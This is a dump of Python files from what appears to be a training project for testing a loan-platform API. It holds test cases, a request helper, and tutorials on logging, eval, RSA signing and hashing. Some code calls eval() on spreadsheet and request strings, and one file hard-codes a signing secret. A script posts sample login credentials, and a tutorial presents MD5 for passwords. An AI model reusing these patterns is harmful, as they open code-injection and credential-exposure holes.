import os from configparser import ConfigParser from Common.handle_path import conf_dir class HandleConfig(ConfigParser): def __init__(self, file_path): super().__init__() self.read(file_path, encoding="utf-8") file_path = os.path.join(conf_dir, "conf.ini") conf = HandleConfig(file_path)
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,015
tylhhh/API_qianchengdai
refs/heads/master
/TestCases/test_audit.py
import unittest import json from Common.handle_excel import HandleExcel from Common.handle_path import datas_dir from Common.myddt import ddt,data from Common.handle_log import logger from Common.handle_data import EnvData,clear_EnvData_atts,replace_case_by_regular from Common.handle_requests import send_requests from Common.handle_extract_data import extract_data from Common.handle_db import HandleDB get_excel = HandleExcel(datas_dir+"/api_cases.xlsx","审核") cases = get_excel.read_all_datas() print(cases) get_excel.close_file() db = HandleDB() @ddt class TestAudit(unittest.TestCase): @classmethod def setUpClass(cls) -> None: logger.info("***************************审核用例开始*********************************") clear_EnvData_atts() @classmethod def tearDownClass(cls) -> None: logger.info("***************************审核用例结束*********************************") @data(*cases) def test_audit(self,case): logger.info("***************执行第{}条用例:{}*********************".format(case["case_id"], case["title"])) case = replace_case_by_regular(case) if hasattr(EnvData,"token"): resp = send_requests(case["method"],case["url"],case["request_data"],token=EnvData.token) else: resp = send_requests(case["method"], case["url"], case["request_data"]) if case["extract_data"]: extract_data(case["extract_data"],resp.json()) if case["expected"]: expected = eval(case["expected"]) logger.info("用例的期望结果为:{}".format(expected)) try: self.assertEqual(resp.json()["code"], expected["code"]) self.assertEqual(resp.json()["msg"], expected["msg"]) # 数据库校验 if case["check_sql"]: result = db.select_one_data(case["check_sql"]) self.assertIsNotNone(result) except AssertionError as e: logger.exception("断言失败!") raise e
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,016
tylhhh/API_qianchengdai
refs/heads/master
/扩展学习/05_json和eval的区别应用.py
""" json:是什么样就直接转换,没有计算,json不认单引号,json中的字符串需要用双引号包起来 eval:python表达式去计算 """ import json ss = '{"mobile_phone":"18600001112","pwd":"123456789","type":1,"reg_name":"美丽可爱的小简","flag":null}' # json字符串转换成字典 ss_dict = json.loads(ss) print(ss_dict) print(type(ss_dict)) dict_ss = {'mobile_phone': '18600001112', 'pwd': '123456789', 'type': 1, 'reg_name': '小可爱', 'flag': None} # 将字典转换成json字符串 ss_json = json.dumps(dict_ss, ensure_ascii=False) print(ss_json) print(type(ss_json)) if ss.find("null") != -1: ss = ss.replace("null", "None") s = eval(ss) print(s) print(type(s)) # 遇到特殊类型的时候,eval通常用了执行一个字符串表达式,并返回表达式的值 print(eval('1+1')) # print(json.loads("1+1"))
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,017
tylhhh/API_qianchengdai
refs/heads/master
/Common/handle_requests.py
import json,requests from Common.handle_config import conf from Common.handle_log import logger def send_requests(method, url, data=None, token=None): logger.info("发起一次HTTP请求") headers = handle_header(token) url = pre_url(url) data = pre_data(data) logger.info("请求头为:{}".format(headers)) logger.info("请求方法为:{}".format(method)) logger.info("请求url为:{}".format(url)) logger.info("请求数据为:{}".format(data)) method = method.upper() if method == "GET": resp = requests.get(url,data, headers=headers) elif method == "POST": resp = requests.post(url, json=data, headers=headers) elif method == "PATCH": resp = requests.patch(url, json=data, headers=headers) logger.info("响应状态码:{}".format(resp.status_code)) logger.info("响应数据为:{}".format(resp.json())) return resp def handle_header(token=None): headers= {"X-Lemonban-Media-Type": "lemonban.v2", "Content-Type":"application/json"} if token: headers["Authorization"] = "Bearer {}".format(token) return headers def pre_url(url): base_url = conf.get("server", "base_url") if url.startswith("/"): return base_url + url else: return base_url + "/" + url def pre_data(data): """ 如果data是字符串,则转换成字典对象 :param data: :return: """ if data is not None and isinstance(data, str): if data.find("null") != -1: data = data.replace("null","none") data = eval(data) return data
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,018
tylhhh/API_qianchengdai
refs/heads/master
/扩展学习/test.py
import hashlib def md5(str): str_md5 = hashlib.md5(str.encode(encoding='UTF-8')).hexdigest() return str_md5 def get_mol_sign(request_data): str_parm = '' # 目标md5串 data_dict = eval(request_data) list_data = sorted(data_dict) for item in list_data: # 将字典中的key排序,存在在列表中 if item == "signature": list_data.remove("signature") for item in list_data: # 列表去掉signature后,再进行遍历,拼接参数字典中的value值 str_parm = str_parm + str(data_dict[item]) secret_key = '6HHT8uQ3V0ZK8ozmvedeTY9uhDaXUsNv' # mol回调固定的 str_parm = str_parm + secret_key print(str_parm) signature = md5(str_parm) print(signature) return signature if __name__ == '__main__': request_data = ""
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,019
tylhhh/API_qianchengdai
refs/heads/master
/扩展学习/10_RSA加密签名处理.py
""" RSA加密:http://www.lemfix.com/topics/355 调用接口加密处理参考方案: https://www.cnblogs.com/Simple-Small/p/11284110.html 测试小白也能懂:常用加密算法解析 http://www.lemfix.com/topics/43408 安装:pip3 install rsa """ import rsa import base64 from time import time def rsaEncrypt(msg): """ 公钥加密 :param msg: 要加密的内容 :type msg: str :return: 加密之后的密文 """ server_pub_key = """ -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDQENQujkLfZfc5Tu9Z1LprzedE O3F7gs+7bzrgPsMl29LX8UoPYvIG8C604CprBQ4FkfnJpnhWu2lvUB0WZyLq6sBr tuPorOc42+gLnFfyhJAwdZB6SqWfDg7bW+jNe5Ki1DtU7z8uF6Gx+blEMGo8Dg+S kKlZFc8Br7SHtbL2tQIDAQAB -----END PUBLIC KEY----- """ # 生成公钥对象 pub_key_byte = server_pub_key.encode("utf-8") # print(pub_key_byte) pub_key_obj = rsa.PublicKey.load_pkcs1_openssl_pem(pub_key_byte) # 要加密的数据转成字节对象 content = msg.encode("utf-8") # 加密,返回加密文本 cryto_msg = rsa.encrypt(content, pub_key_obj) # base64编码 cipher_base64 = base64.b64encode(cryto_msg) # 转成字符串 return cipher_base64.decode() def generator_sign(token): # 获取token的前50位 token_50 = token[:50] # 生成时间戳 timestamp = int(time()) print(timestamp) # 拼接token前50位和时间戳 msg = token_50 + str(timestamp) print(msg) # 进行RSA加密 sign = rsaEncrypt(msg) return sign,timestamp if __name__ == '__main__': import requests # lemon_v3测试 headers = {"X-Lemonban-Media-Type": "lemonban.v3", "Content-Type": "application/json"} # 登陆接口 login_url = "http://api.lemonban.com/futureloan/member/login" login_datas = {"mobile_phone": "13845467789", "pwd": "1234567890"} resp = requests.request("POST", login_url, json=login_datas, headers=headers) token = resp.json()["data"]["token_info"]["token"] member_id = resp.json()["data"]["id"] headers["Authorization"] = "Bearer {}".format(token) sign, timestamp = generator_sign(token) print("签名为: ", sign, "\n时间戳为: ", timestamp) recharge_url = "http://api.lemonban.com/futureloan/member/recharge" recharge_data = {"member_id": member_id, "amount": 2000, "sign": sign, "timestamp": timestamp} resp = requests.request("POST", recharge_url, json=recharge_data, headers=headers) print(resp.json())
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,020
tylhhh/API_qianchengdai
refs/heads/master
/扩展学习/02_日志处理.py
import logging # 1、创建一个日志收集器 logger = logging.getLogger("mylogger") # 2、给日志收集器设置日志级别 logger.setLevel(logging.DEBUG) # 3、给日志收集器创建一个输出渠道 stream_handler = logging.StreamHandler() file_handler = logging.FileHandler('error.log', encoding="utf-8") file_handler.setLevel(logging.ERROR) # 4、给渠道设置一个日志输出内容的格式 fmt = "%(asctime)s-%(name)s-%(levelname)s:%(message)s" # 5、将日志格式绑定到渠道当中 stream_handler.setFormatter(logging.Formatter(fmt)) file_handler.setFormatter(logging.Formatter(fmt)) # 6、将设置好的渠道添加到日志收集器上 logger.addHandler(stream_handler) logger.addHandler(file_handler) logger.debug('debug message') logger.info('info message') logger.warning('warning message') logger.error('error message') logger.critical('critical message')
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,021
tylhhh/API_qianchengdai
refs/heads/master
/TestCases/test_login.py
import unittest from Common.handle_excel import HandleExcel from Common.handle_path import datas_dir from Common.myddt import ddt, data from Common.handle_db import HandleDB from Common.handle_log import logger from Common.handle_requests import send_requests get_excel = HandleExcel(datas_dir+"/api_cases.xlsx","登陆") cases = get_excel.read_all_datas() get_excel.close_file() db = HandleDB() @ddt class TestLogin(unittest.TestCase): @classmethod def setUpClass(cls): logger.info("***************************登录用例开始*****************************************") @classmethod def tearDownClass(cls): logger.info("***************************登录用例结束*****************************************") @data(*cases) def test_login(self,case): logger.info("***************执行第{}条用例:{}*********************".format(case["id"], case["title"])) resp = send_requests(case["method"],case["url"],case["request_data"]) expected = eval(case["expected"]) logger.info("用例的期望结果为:{}".format(expected)) try: self.assertEqual(resp.json()["code"],expected["code"]) self.assertEqual(resp.json()["msg"], expected["msg"]) except AssertionError as e: logger.exception("断言失败!") raise e
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,022
tylhhh/API_qianchengdai
refs/heads/master
/扩展学习/11_常用的加密算法.py
""" 算法1:base64(编码算法) 常用在URL、cookie、网页中传输少量二进制数据 """ # 编码 import base64 byte_str = "I like you".encode("utf-8") encode_str = base64.b64encode(byte_str) print(encode_str) # 解码 decode_str = base64.b64decode("SSBsaWtlIHlvdQ==") print(decode_str.decode("utf-8")) """ 算法2:urlencode(URL编码) base64的特征是尾部经常带有=号 url编码的特征是%很多 """ from urllib.parse import quote,unquote q = '菜鸟' # 编码 url = 'http://www.baidu.com/?text={}'.format(quote(q)) print(url) # 解码 b = unquote('%E8%8F%9C%E9%B8%9F') print(b) """ 算法3:md5 md5不是编码,也不是加密,叫做摘要算法,又称哈希算法和散列算法 作用:1、防止篡改;2、校验数据 摘要算法的另一个应用场景是用来保存密码 摘要算法是不可逆的,无法解密得到原始数据 """ import hashlib hash = hashlib.md5() # 明文密码是123456 hash.update(b"123456") hash_str = hash.hexdigest() print(hash_str) """ 纯粹的摘要算法不是一种特别安全的方式去存储密码 可以通过”加盐“的方式提高安全性 """ salt = 'the salt' pwd = '8888' salt_pwd = salt+pwd hash = hashlib.md5() hash.update(salt_pwd.encode("utf-8")) hash_str = hash.hexdigest() print(hash_str)
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}
54,023
tylhhh/API_qianchengdai
refs/heads/master
/TestCases/test_business.py
import unittest,json from Common.handle_excel import HandleExcel from Common.handle_path import datas_dir from Common.myddt import ddt,data from Common.handle_log import logger from Common.handle_phone import get_new_phone from Common.handle_data import EnvData,clear_EnvData_atts,replace_case_by_regular from Common.handle_requests import send_requests from Common.handle_extract_data import extract_data from Common.handle_db import HandleDB get_excel = HandleExcel(datas_dir+"/api_cases.xlsx","业务流") cases = get_excel.read_all_datas() get_excel.close_file() @ddt class TestBusiness(unittest.TestCase): @classmethod def setUpClass(cls) -> None: clear_EnvData_atts() new_phone = get_new_phone() setattr(EnvData, "phone", new_phone) @data(*cases) def test_business(self,case): logger.info("***************执行第{}条用例:{}*********************".format(case["id"], case["title"])) replace_case_by_regular(case) if hasattr(EnvData,"token"): resp = send_requests(case["method"],case["url"],case["request_data"],token=EnvData.token) else: resp = send_requests(case["method"], case["url"], case["request_data"]) if case["extract_data"]: extract_data(case["extract_data"],resp.json()) if case["expected"]: expected = eval(case["expected"]) logger.info("期望结果:{}".format(expected)) try: self.assertEqual(resp.json()["code"], expected["code"]) self.assertEqual(resp.json()["msg"], expected["msg"]) except AssertionError as e: logger.exception("断言失败!") raise e
{"/Common/handle_phone.py": ["/Common/handle_db.py", "/Common/handle_requests.py", "/Common/handle_config.py"], "/Common/handle_db.py": ["/Common/handle_config.py"], "/TestCases/test_withdraw.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_register.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/TestCases/test_recharge.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py"], "/Common/handle_log.py": ["/Common/handle_config.py", "/Common/handle_path.py"], "/Common/handle_config.py": ["/Common/handle_path.py"], "/TestCases/test_audit.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/Common/handle_requests.py": ["/Common/handle_config.py", "/Common/handle_log.py"], "/TestCases/test_login.py": ["/Common/handle_path.py", "/Common/handle_db.py", "/Common/handle_log.py", "/Common/handle_requests.py"], "/TestCases/test_business.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_phone.py", "/Common/handle_requests.py", "/Common/handle_extract_data.py", "/Common/handle_db.py"], "/TestCases/test_update_name.py": ["/Common/handle_path.py", "/Common/handle_log.py", "/Common/handle_requests.py", "/Common/handle_phone.py"], "/main.py": ["/Common/handle_path.py"]}